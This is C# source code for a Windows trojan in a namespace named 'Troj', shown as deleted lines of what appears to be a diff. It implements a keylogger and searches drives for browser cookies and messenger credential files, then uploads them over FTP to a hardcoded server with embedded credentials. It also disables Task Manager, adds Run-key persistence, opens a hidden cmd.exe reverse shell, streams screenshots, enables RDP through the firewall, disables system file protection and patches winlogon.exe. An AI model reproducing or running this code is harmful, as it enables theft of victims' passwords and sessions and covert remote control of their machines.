-using System.Diagnostics;
-using System.DirectoryServices;
-using System.Drawing;
-using System.Drawing.Drawing2D;
-using System.Drawing.Imaging;
-using System.IO;
-using System.IO.Compression;
-using System.Net;
-using System.Net.Mail;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Security.Cryptography;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Troj
-{
- public class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 256;
- private static int svsex;
- private static int sdosta;
- private static string logkey;
- private static int keycount = 0;
- private static Thread[] thkey;
- private static Thread[] tcherez;
- private static int cerezcount = 0;
- private static int keyI;
- private static string strbug;
- private static string strbuftx;
- private static string buflyb;
- private static int ftpi;
- private static int countGroup = 0;
- private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
- private static IntPtr _hookID = IntPtr.Zero;
- private static Thread th;
- private static TcpClient socketForServer;
- private static NetworkStream networkStream;
- private static StreamWriter streamWriter;
- private static StreamReader streamReader;
- private static Process processCmd;
- private static StringBuilder strInput;
- private static int hwnd_n;
- private static int hwnd_s;
- private static string DiskWindows;
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(
- int idHook,
- Program.LowLevelKeyboardProc lpfn,
- IntPtr hMod,
- uint dwThreadId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(
- IntPtr hhk,
- int nCode,
- IntPtr wParam,
- IntPtr lParam);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
-
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
-
- [DllImport("user32.dll")]
- private static extern int GetForegroundWindow();
-
- [DllImport("user32")]
- private static extern uint GetWindowThreadProcessId(int hWnd, out int lpdwProcessId);
-
- [DllImport("user32.dll")]
- public static extern IntPtr GetDesktopWindow();
-
- [DllImport("user32.dll")]
- public static extern IntPtr GetWindowDC(IntPtr hwnd);
-
- [DllImport("gdi32.dll")]
- public static extern ulong BitBlt(
- IntPtr hDestDC,
- int x,
- int y,
- int nWidth,
- int nHeight,
- IntPtr hSrcDC,
- int xSrc,
- int ySrc,
- int dwRop);
-
- private static void SearchAll(
- string disk,
- string n_file,
- string smail,
- string sftp,
- string spapka)
- {
- try
- {
- foreach (DirectoryInfo directory in new DirectoryInfo(disk).GetDirectories())
- {
- try
- {
- foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
- Program.CherezShto(file.FullName, smail, sftp, spapka);
- }
- catch
- {
- }
- Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
- }
- }
- catch
- {
- }
- }
-
- private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
- {
- using (Process currentProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule mainModule = currentProcess.MainModule)
- return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
- }
- }
-
- private static string TimeNow()
- {
- DateTime now = DateTime.Now;
- return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
- }
-
- private static int GetWindowProcessID(int hwnd)
- {
- int lpdwProcessId = 0;
- int windowThreadProcessId = (int) Program.GetWindowThreadProcessId(hwnd, out lpdwProcessId);
- return lpdwProcessId;
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- Program.hwnd_n = Program.GetForegroundWindow();
- if (Program.hwnd_n != Program.hwnd_s)
- Program.logkey = Program.logkey + "\n[" + Process.GetProcessById(Program.GetWindowProcessID(Program.hwnd_n)).MainWindowTitle + "]titlewindows[gentroj]\n";
- if (nCode >= 0 && wParam == (IntPtr) 256)
- {
- int num = Marshal.ReadInt32(lParam);
- if (num == 13)
- {
- Program.logkey += "\n";
- }
- else
- {
- ++Program.sdosta;
- ++Program.svsex;
- Program.logkey = Program.logkey + (object) (Keys) num + "";
- if (Program.sdosta == 0)
- {
- Program.sdosta = 0;
- Program.TimeNow();
- if (Program.keycount > 10)
- Program.keycount = 0;
- Program.logkey = (string) null;
- }
- }
- }
- Program.hwnd_s = Program.hwnd_n;
- return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
- }
-
- public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
- {
- try
- {
- foreach (string logicalDrive in Directory.GetLogicalDrives())
- Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
- {
- if (nmail == "True" || nmail == "true")
- Program.Sendmailfile(strfile, "User send you message : " + strfile, "0", 0, "0", "0", "0", false);
- if (nftp == "True" || nmail == "true")
- Program.Upload_ftp(strfile, "a01.dc47.com", "kuznetsov", "asdfgqwert", pftp);
- return true;
- }
-
- private static string C_OFF(byte[] encryptedTextBytes)
- {
- SymmetricAlgorithm symmetricAlgorithm = (SymmetricAlgorithm) DES.Create();
- MemoryStream memoryStream = new MemoryStream(encryptedTextBytes);
- CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(Program.Ret_Key(), Program.Ret_IV()), CryptoStreamMode.Read);
- byte[] numArray = new byte[encryptedTextBytes.Length];
- cryptoStream.Read(numArray, 0, encryptedTextBytes.Length);
- cryptoStream.Close();
- memoryStream.Close();
- return new UnicodeEncoding().GetString(numArray);
- }
-
- private static byte[] OUTS(string S)
- {
- int length = 0;
- for (int index = 0; index < S.Length; ++index)
- {
- if (S[index] == '&')
- ++length;
- }
- byte[] numArray = new byte[length];
- for (int index = 0; index < numArray.Length; ++index)
- {
- int startIndex = S.IndexOf("&");
- if (startIndex != -1)
- {
- numArray[index] = Convert.ToByte(S.Remove(startIndex));
- S = S.Substring(startIndex + 1);
- }
- else
- break;
- }
- return numArray;
- }
-
- private static byte[] Ret_Key() => new byte[8];
-
- private static byte[] Ret_IV() => new byte[8];
-
- private static string DelF(string tmp)
- {
- for (int index = 0; index < tmp.Length; ++index)
- {
- if (tmp[index] == char.MinValue)
- {
- tmp = tmp.Remove(index);
- break;
- }
- }
- return tmp;
- }
-
- public static bool Sendmailfile(
- string temp,
- string user,
- string ssmtp,
- int sport,
- string smail,
- string spass,
- string vmail,
- bool sssl)
- {
- Attachment attachment = new Attachment(temp, "application/octet-stream");
- bool flag;
- try
- {
- SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
- smtpClient.EnableSsl = sssl;
- MailMessage message = new MailMessage();
- message.From = new MailAddress(smail);
- message.To.Add(new MailAddress(vmail));
- message.Subject = user;
- message.Body = user;
- message.Attachments.Add(attachment);
- smtpClient.Send(message);
- attachment.Dispose();
- flag = true;
- }
- catch
- {
- flag = false;
- attachment.Dispose();
- }
- return flag;
- }
-
- private static string GetDiskWindows()
- {
- string systemDirectory = Environment.SystemDirectory;
- return systemDirectory.Remove(systemDirectory.IndexOf("\\") + 1);
- }
-
- private static bool Upload_ftp(
- string filename,
- string ftpServerIP,
- string ftpUserID,
- string ftpPassword,
- string papka)
- {
- ++Program.ftpi;
- FileInfo fileInfo = new FileInfo(filename);
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
- ftpWebRequest.Proxy = (IWebProxy) null;
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void IECookies(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists(Environment.GetEnvironmentVariable("TEMP") + "\\"))
- System.IO.File.Delete(Environment.GetEnvironmentVariable("TEMP") + "\\");
- try
- {
- string searchPattern = "*.txt";
- DirectoryInfo directoryInfo = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
- try
- {
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\", true, Encoding.UTF8);
- foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
- {
- streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
- string str = file.FullName + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- }
- catch
- {
- }
- Program.CherezShto(Environment.GetEnvironmentVariable("TEMP") + "\\", smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- [STAThread]
- private static void Main(string[] args)
- {
- try
- {
- Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
- try
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "cmd.exe",
- Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f",
- WindowStyle = ProcessWindowStyle.Hidden
- });
- string str1 = "C:\\Windows\\1.exe";
- string str2 = Environment.GetEnvironmentVariable(str1.Substring(1, str1.IndexOf('%', 1) - 1)) + str1.Substring(str1.IndexOf('%', 1) + 1);
- try
- {
- if (!System.IO.File.Exists(str2))
- System.IO.File.Copy(Application.ExecutablePath, str2);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
- registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath);
- registryKey.SetValue(str2, (object) str2);
- }
- catch
- {
- }
- new Thread((ThreadStart) (() =>
- {
- Program.DiskWindows = Program.GetDiskWindows();
- Program.SearchAll(Program.DiskWindows, "mra.dbs", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "cookies.sqlite", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "wand.dat", "False", "True", "");
- Program.IECookies("False", "True", "");
- Program.SearchAll(Program.DiskWindows, "Owner.MDB", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "*.bip", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "*.qip", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "Cookies.plist", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "Cookies", "False", "True", "");
- })).Start();
- }
- catch
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "cmd.exe",
- Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f",
- WindowStyle = ProcessWindowStyle.Hidden
- });
- string str3 = "C:\\Windows\\1.exe";
- string str4 = Environment.GetEnvironmentVariable(str3.Substring(1, str3.IndexOf('%', 1) - 1)) + str3.Substring(str3.IndexOf('%', 1) + 1);
- try
- {
- if (!System.IO.File.Exists(str4))
- System.IO.File.Copy(Application.ExecutablePath, str4);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
- registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath);
- registryKey.SetValue(str4, (object) str4);
- }
- catch
- {
- }
- new Thread((ThreadStart) (() =>
- {
- Program.DiskWindows = Program.GetDiskWindows();
- Program.SearchAll(Program.DiskWindows, "mra.dbs", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "cookies.sqlite", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "wand.dat", "False", "True", "");
- Program.IECookies("False", "True", "");
- Program.SearchAll(Program.DiskWindows, "Owner.MDB", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "*.bip", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "*.qip", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "Cookies.plist", "False", "True", "");
- Program.SearchAll(Program.DiskWindows, "Cookies", "False", "True", "");
- })).Start();
- }
- }
- catch
- {
- }
- }
-
- private static void MainView()
- {
- try
- {
- TcpClient tcpClient = new TcpClient();
- Program.ScreenShotDll screenShotDll = new Program.ScreenShotDll();
- tcpClient.Connect("0", Convert.ToInt32("0"));
- NetworkStream stream = tcpClient.GetStream();
- BinaryWriter binaryWriter = new BinaryWriter((Stream) stream);
- BinaryReader binaryReader = new BinaryReader((Stream) stream);
- SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider();
- Image image1 = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0);
- Image image2 = image1;
- byte[] buffer1 = Program.ImageToByte(image1);
- if (binaryReader.ReadBoolean())
- {
- binaryWriter.Write(buffer1.Length);
- if (binaryReader.ReadBoolean())
- binaryWriter.Write(buffer1);
- }
- while (true)
- {
- Thread.Sleep(Convert.ToInt32("0"));
- Application.DoEvents();
- byte[] numArray1 = Program.Bytetorgb((Bitmap) image1);
- Image bmp = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0);
- byte[] numArray2 = Program.Bytetorgb((Bitmap) bmp);
- if (cryptoServiceProvider.ComputeHash(numArray1)[0].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[0].ToString() && cryptoServiceProvider.ComputeHash(numArray1)[1].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[1].ToString())
- {
- image2 = (Image) Program.SearchByte(Program.clearPic((Bitmap) image2), numArray1, numArray2);
- byte[] raw = Program.ImageToByte(image2);
- byte[] numArray3 = Program.Compress(raw);
- bool flag;
- byte[] buffer2;
- if (raw.Length > numArray3.Length)
- {
- Console.Write("#");
- flag = true;
- buffer2 = numArray3;
- }
- else
- {
- flag = false;
- buffer2 = raw;
- }
- if (binaryReader.ReadBoolean())
- {
- binaryWriter.Write(buffer2.Length);
- if (binaryReader.ReadBoolean())
- binaryWriter.Write(buffer2);
- binaryWriter.Write(flag);
- }
- Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "|" + DateTime.Now.Second.ToString() + " Kb : " + buffer2.Length.ToString());
- image1 = bmp;
- }
- else
- Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "/" + DateTime.Now.Second.ToString() + " KB : 0");
- }
- }
- catch
- {
- }
- }
-
- private static byte[] Compress(byte[] raw)
- {
- using (MemoryStream memoryStream = new MemoryStream())
- {
- using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true))
- gzipStream.Write(raw, 0, raw.Length);
- return memoryStream.ToArray();
- }
- }
-
- private static Image Resize(Image img, double percentage)
- {
- int width1 = img.Width;
- int height1 = img.Height;
- int width2 = (int) ((double) width1 / percentage);
- int height2 = (int) ((double) height1 / percentage);
- Bitmap bitmap = new Bitmap(width2, height2);
- Graphics graphics = Graphics.FromImage((Image) bitmap);
- graphics.InterpolationMode = InterpolationMode.Low;
- graphics.DrawImage(img, 0, 0, width2, height2);
- graphics.Dispose();
- return (Image) bitmap;
- }
-
- private static byte[] ImageToByte(Image imageIn)
- {
- MemoryStream memoryStream = new MemoryStream();
- imageIn.Save((Stream) memoryStream, ImageFormat.Png);
- return memoryStream.ToArray();
- }
-
- private static byte[] Bytetorgb(Bitmap bmp)
- {
- Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
- IntPtr scan0 = bitmapdata.Scan0;
- int length = bitmapdata.Stride * bmp.Height;
- byte[] destination = new byte[length];
- Marshal.Copy(scan0, destination, 0, length);
- bmp.UnlockBits(bitmapdata);
- return destination;
- }
-
- private static Bitmap SearchByte(Bitmap bmp, byte[] mas1, byte[] mas2)
- {
- Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
- IntPtr scan0 = bitmapdata.Scan0;
- int length = bitmapdata.Stride * bmp.Height;
- byte[] numArray = new byte[length];
- Marshal.Copy(scan0, numArray, 0, length);
- for (int index = 0; index < numArray.Length; ++index)
- {
- if ((int) mas1[index] != (int) mas2[index])
- numArray[index] = mas2[index];
- }
- Marshal.Copy(numArray, 0, scan0, length);
- bmp.UnlockBits(bitmapdata);
- return bmp;
- }
-
- private static Bitmap clearPic(Bitmap bmp)
- {
- Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
- IntPtr scan0 = bitmapdata.Scan0;
- int length = bitmapdata.Stride * bmp.Height;
- byte[] numArray = new byte[length];
- Marshal.Copy(scan0, numArray, 0, length);
- for (int index = 0; index < numArray.Length; ++index)
- numArray[index] = (byte) 53;
- Marshal.Copy(numArray, 0, scan0, length);
- bmp.UnlockBits(bitmapdata);
- return bmp;
- }
-
- public static void TermSrv()
- {
- string str = Program.TimeNow();
- try
- {
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- }
- else
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
- System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
-
- public static void Backdoor()
- {
- try
- {
- Thread tsend = new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.processCmd = new Process();
- Program.processCmd.StartInfo.FileName = "cmd.exe";
- Program.processCmd.StartInfo.CreateNoWindow = true;
- Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- Program.processCmd.StartInfo.UseShellExecute = false;
- Program.processCmd.StartInfo.RedirectStandardOutput = true;
- Program.processCmd.StartInfo.RedirectStandardInput = true;
- Program.processCmd.StartInfo.RedirectStandardError = true;
- Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
- Program.processCmd.Start();
- Program.processCmd.BeginOutputReadLine();
- Program.strInput = new StringBuilder();
- try
- {
- while (true)
- {
- Program.strInput.Append(Program.streamReader.ReadLine());
- Program.strInput.Append("\n");
- Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
- Program.processCmd.StandardInput.Flush();
- Program.strInput.Remove(0, Program.strInput.Length);
- }
- }
- catch (Exception ex)
- {
- }
- }
- catch
- {
- }
- }));
- new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.socketForServer = new TcpClient("0", 0);
- Program.networkStream = Program.socketForServer.GetStream();
- Program.streamReader = new StreamReader((Stream) Program.networkStream);
- Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
- tsend.Start();
- }
- catch
- {
- }
- })).Start();
- }
- catch
- {
- }
- }
-
- private static void proc(object sender, DataReceivedEventArgs e)
- {
- StringBuilder stringBuilder = new StringBuilder();
- if (string.IsNullOrEmpty(e.Data))
- return;
- try
- {
- stringBuilder.Append(e.Data);
- Program.streamWriter.WriteLine((object) stringBuilder);
- Program.streamWriter.Flush();
- }
- catch
- {
- }
- }
-
- private static void CacheDelete(string dir)
- {
- try
- {
- if (!Directory.Exists(dir))
- return;
- for (int index = 0; index < Directory.GetFiles(dir).Length; ++index)
- {
- try
- {
- System.IO.File.Delete(Directory.GetFiles(dir)[index]);
- }
- catch
- {
- }
- }
- for (int index = 0; index < Directory.GetDirectories(dir).Length; ++index)
- {
- try
- {
- Directory.Delete(Directory.GetDirectories(dir)[index]);
- }
- catch
- {
- }
- }
- }
- catch
- {
- }
- }
-
- public static void FileP()
- {
- try
- {
- Program.CacheDelete(Environment.SystemDirectory + "\\Dllcache");
- Program.CacheDelete(Environment.SystemDirectory + "\\CatRoot");
- }
- catch
- {
- }
- }
-
- public static void RegConfig()
- {
- try
- {
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true).SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true).SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
- registryKey.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
- registryKey.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
- registryKey.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
- registryKey.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
- registryKey.SetValue("Link", (object) "Local", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
- registryKey.SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord);
- registryKey.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
- registryKey.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
- registryKey.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
- registryKey.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
- registryKey.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- registryKey.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- }
- catch
- {
- }
- }
-
- public static void RDP_M() => Program.TimeNow();
-
- public static void w_Change()
- {
- try
- {
- if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
- return;
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.123");
- FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.123", FileMode.Open);
- byte[] buffer = new byte[fileStream.Length];
- fileStream.Read(buffer, 0, (int) fileStream.Length);
- buffer[94] = (byte) 110;
- buffer[173347] = (byte) 85;
- buffer[173348] = (byte) 139;
- buffer[173349] = (byte) 236;
- buffer[173437] = (byte) 139;
- buffer[173438] = byte.MaxValue;
- buffer[173439] = (byte) 85;
- BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
- binaryWriter.Write(buffer);
- binaryWriter.Close();
- fileStream.Close();
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- }
- else
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.lol");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.lol", Environment.SystemDirectory + "\\winlogon.exe");
- Thread.Sleep(2000);
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
- Thread.Sleep(2000);
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- }
- catch
- {
- }
- }
-
